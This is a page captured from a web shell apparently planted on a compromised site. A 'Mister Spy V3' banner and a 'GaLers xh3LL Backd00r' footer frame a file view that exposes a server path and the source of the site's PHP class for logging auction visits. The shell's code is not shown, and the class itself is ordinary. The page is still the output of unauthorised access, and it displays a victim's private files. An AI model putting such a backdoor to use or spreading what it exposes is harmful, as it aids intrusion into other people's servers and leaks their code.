Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.rematelogs.php

<?php 

require_once('class.dbaccess.php');
require_once('class.rematelog.php');

class RemateLogs extends DBAccess
{
	public function GetAll()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRemateLogs";
		$sql.= " ORDER BY FechaHora DESC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oRemateLog = new RemateLog();
			$oRemateLog->ParseFromArray($oRow);

			array_push($arr, $oRemateLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetCountVisitas($IdRemate)
	{
		$sql = "SELECT COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblRemateLogs";
		$sql.= " WHERE IdRemate = " . DB::Number($IdRemate);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;

		$oRemateLog = new RemateLog();
		$oRemateLog->ParseFromArray($oRow);

		return $oRemateLog;
	}
	
	
	public function GetVisitas($IdRemate)
	{
		$sql = "SELECT CONCAT(YEAR(FechaHora), '-', MONTH(FechaHora), '-', DAY(FechaHora)) AS Fecha,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblRemateLogs";
		$sql.= " WHERE IdRemate = " . DB::Number($IdRemate);
		$sql.= " GROUP BY Fecha";
		$sql.= " ORDER BY Fecha ASC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oRemateLog = new RemateLog();
			$oRemateLog->ParseFromArray($oRow);

			array_push($arr, $oRemateLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	/*visitantes*/
	public function GetCountVisitasByFecha($IdRemate, $Fecha)
	{
		$sql = "SELECT COUNT(1) CantidadVisitas";
		$sql.= " FROM tblRemateLogs";
		$sql.= " WHERE IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND SUBSTRING(FechaHora, 1, 10) LIKE " . DB::String($Fecha);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		if (!$oRow = $oRes->GetRow())
			return false;

		return $oRow['CantidadVisitas'];
	}

	
	public function Create(RemateLog $oRemateLog)
	{
		$arr = array
		(
			'IdRemate' 	=> DB::Number($oRemateLog->IdRemate),
			'FechaHora' => DB::String($oRemateLog->FechaHora),
			'Origen' 	=> DB::String($oRemateLog->Origen),
			'Ip'		=> DB::String($oRemateLog->Ip)
		);
		
		if (!$this->Insert('tblRemateLogs', $arr))
			return false;
				
		return $oRemateLog;
	}
	
	
	public function GetFechasAccesos($IdRemate)
	{
		$sql = "SELECT"; 
		$sql.= " DISTINCT(SUBSTRING(ll.FechaHora, 1, 10)) AS FechaHora";
		$sql.= " FROM tblLoteLogs ll"; 
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);
		
		$sql.= " UNION";
		
		$sql.= " SELECT"; 
		$sql.= " DISTINCT(SUBSTRING(FechaHora, 1, 10)) AS FechaHora";
		$sql.= " FROM tblRemateLogs rl";
		$sql.= " WHERE rl.IdRemate = " . DB::Number($IdRemate);
		
		$sql.= " UNION";
		
		$sql.= " SELECT";
		$sql.= " DISTINCT(SUBSTRING(FechaHora, 1, 10)) AS FechaHora";
		$sql.= " FROM tblUsuarioLogs ul";
		$sql.= " WHERE ul.IdRemate = " . DB::Number($IdRemate);
		
		$sql.= " ORDER BY FechaHora ASC";
	
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();
		while($oRow = $oRes->GetRow())
		{
			$arr[] = $oRow['FechaHora'];
			$oRes->MoveNext();
		}

		return $arr;
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat